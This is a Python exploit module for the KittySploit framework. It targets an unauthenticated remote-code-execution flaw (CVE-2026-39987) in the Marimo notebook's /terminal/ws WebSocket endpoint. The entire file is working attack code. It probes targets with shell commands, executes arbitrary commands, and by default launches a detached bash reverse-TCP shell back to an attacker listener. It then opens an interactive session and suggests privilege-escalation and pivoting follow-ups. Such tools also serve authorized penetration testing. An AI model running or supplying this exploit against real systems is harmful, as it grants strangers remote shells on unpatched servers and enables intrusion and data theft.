Marimo Terminal WebSocket Pre-Auth RCE (CVE-2026-39987)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-39987 — Marimo pre-auth /terminal/ws PTY RCE."""

from __future__ import annotations

import shlex
import time
from typing import Optional

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.marimo import MARIMO_DEFAULT_PORT, MARIMO_TERMINAL_WS, Marimo, marimo_version_lt

MARIMO_PATCHED_VERSION = "0.23.0"


class Module(Exploit, Http_client, Marimo):
    __info__ = {
        "name": "Marimo Terminal WebSocket Pre-Auth RCE (CVE-2026-39987)",
        "description": (
            "Exploits CVE-2026-39987 in Marimo <= 0.20.4 (patched in 0.23.0): the "
            "/terminal/ws endpoint accepts unauthenticated WebSocket connections and "
            "spawns a PTY shell (pty.fork) with no validate_auth() check. Opens an "
            "interactive http_cmd session by default; optional COMMAND for one-shot "
            "execution or framework reverse_tcp payload."
        ),
        "author": ["Jason Bernier", "KittySploit Team"],
        "cve": ["CVE-2026-39987"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "arch": Arch.CMD,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-39987",
            "https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc",
            "https://github.com/advisories/GHSA-2679-6mx9-h9xc",
            "https://github.com/marimo-team/marimo",
        ],
        "modules": [
            "scanner/http/marimo_detect",
            "scanner/http/marimo_websocket_rce",
        ],
        "tags": [
            "marimo",
            "notebook",
            "websocket",
            "pty",
            "rce",
            "unauthenticated",
            "preauth",
            "cve-2026-39987",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["marimo"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {"marimo": 0.3},
                "endpoint_pattern_any": ["/terminal/ws"],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    port = OptPort(MARIMO_DEFAULT_PORT, "Marimo listen port (default 2718)", True)
    ssl = OptBool(False, "Use WSS (set true or enable ANY_SSL for TLS targets)", True)
    path = OptString(MARIMO_TERMINAL_WS, "Terminal WebSocket endpoint path", True)
    base_path = OptString("/", "HTTP base path for /api/version fingerprint", False, advanced=True)
    command = OptString("", "OS command to run (-c); overrides payload when set", False)
    verify_cmd = OptString("id && whoami && hostname", "Probe command used by check()", False, advanced=True)

    def __init__(self, framework=None):
        super().__init__(framework)
        self._session_connections = {}

    def check(self):
        version = self.marimo_http_version()
        looks = self.marimo_detected()

        if version and not marimo_version_lt(version, MARIMO_PATCHED_VERSION):
            return {
                "vulnerable": False,
                "reason": f"Marimo {version} >= {MARIMO_PATCHED_VERSION} (patched)",
                "confidence": "high",
            }

        try:
            ok, output = self.marimo_probe(str(self.verify_cmd or "id"))
        except Exception as exc:
            hint = ""
            if not self.marimo_use_ssl():
                hint = " — try ANY_SSL true / SSL true if the target speaks TLS"
            return {
                "vulnerable": False,
                "reason": f"WebSocket probe failed: {exc}{hint}",
                "confidence": "low",
            }

        if ok:
            ver = f" Marimo {version}" if version else ""
            evidence = (output.splitlines()[0] if output else "command output received")[:120]
            return {
                "vulnerable": True,
                "reason": (
                    f"Unauthenticated /terminal/ws PTY RCE confirmed{ver} "
                    f"(<{MARIMO_PATCHED_VERSION}): {evidence}"
                ),
                "confidence": "high",
            }

        if version and marimo_version_lt(version, MARIMO_PATCHED_VERSION):
            return {
                "vulnerable": True,
                "reason": (
                    f"Marimo {version} < {MARIMO_PATCHED_VERSION} but probe returned no output "
                    f"— raise MAX_WAIT or set ANY_SSL true"
                ),
                "confidence": "medium",
            }

        if looks:
            return {
                "vulnerable": False,
                "reason": "Marimo detected but /terminal/ws did not return command output",
                "confidence": "medium",
            }

        return {
            "vulnerable": False,
            "reason": "Target does not appear vulnerable to CVE-2026-39987",
            "confidence": "low",
        }

    def execute(self, cmd: str, max_wait: Optional[float] = None) -> str:
        return self.marimo_execute(cmd, max_wait=max_wait)

    def run_command(self, command: str) -> str:
        return self.execute(command)

    def _open_session(self) -> Optional[str]:
        if not self.framework or not hasattr(self.framework, "session_manager"):
            print_warning("Framework session manager unavailable; interactive session not registered")
            return None

        protocol = "wss" if self.marimo_use_ssl() else "ws"
        session_id = self.framework.session_manager.create_session(
            host=self.marimo_host(),
            port=self.marimo_port(),
            session_type="http_cmd",
            data={
                "protocol": protocol,
                "uripath": self.marimo_ws_path(),
                "platform": "linux",
                "exploit_module": "marimo_cve_2026_39987_rce",
                "cve": "CVE-2026-39987",
            },
        )
        self._session_connections[session_id] = self.marimo_cmd_channel()
        print_success(f"Interactive PTY session opened: {session_id}")
        print_info("Use 'sessions -i <id>' for an interactive shell")
        return session_id

    def run(self):
        try:
            print_status("CVE-2026-39987 — Marimo /terminal/ws pre-auth PTY RCE")
            if self.marimo_use_ssl():
                client = self.marimo_terminal_client()
                print_info(
                    f"Using WSS {client.ws_url} "
                    f"(verify_ssl={self.marimo_verify_ssl()}, max_wait={self.marimo_max_wait()}s)"
                )

            check = self.check()
            if not check.get("vulnerable"):
                print_error(check.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(check.get("reason", "Target appears vulnerable"))

            cmd = str(self.command or "").strip()

            if cmd:
                print_status(f"Executing: {cmd}")
                out = self.execute(cmd)
                if not out and self.marimo_max_wait() < 5.0:
                    print_warning("Empty output — retrying with max_wait=5 (SSL/slow PTY)")
                    out = self.execute(cmd, max_wait=5.0)
                if out:
                    print_info(out)
                else:
                    print_warning(
                        "Command produced no output — try ANY_SSL true and/or MAX_WAIT 5"
                    )
            elif self.payload and str(self.payload).strip():
                payload = str(self.payload).strip()
                print_status("Dispatching reverse payload over /terminal/ws")
                if "setsid" not in payload and ("/dev/tcp/" in payload or "bash -i" in payload):
                    wrapped = (
                        f"setsid nohup bash -c {shlex.quote(payload)} "
                        f">/dev/null 2>&1 &"
                    )
                else:
                    wrapped = payload
                self.execute(wrapped)
                time.sleep(0.8)
                print_info("Verify listener/session for reverse callback")

            self._open_session()
            self.vulnerable()
            return True

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            if not self.marimo_use_ssl():
                print_info("If the target uses TLS, set ANY_SSL true (and raise MAX_WAIT)")
            return False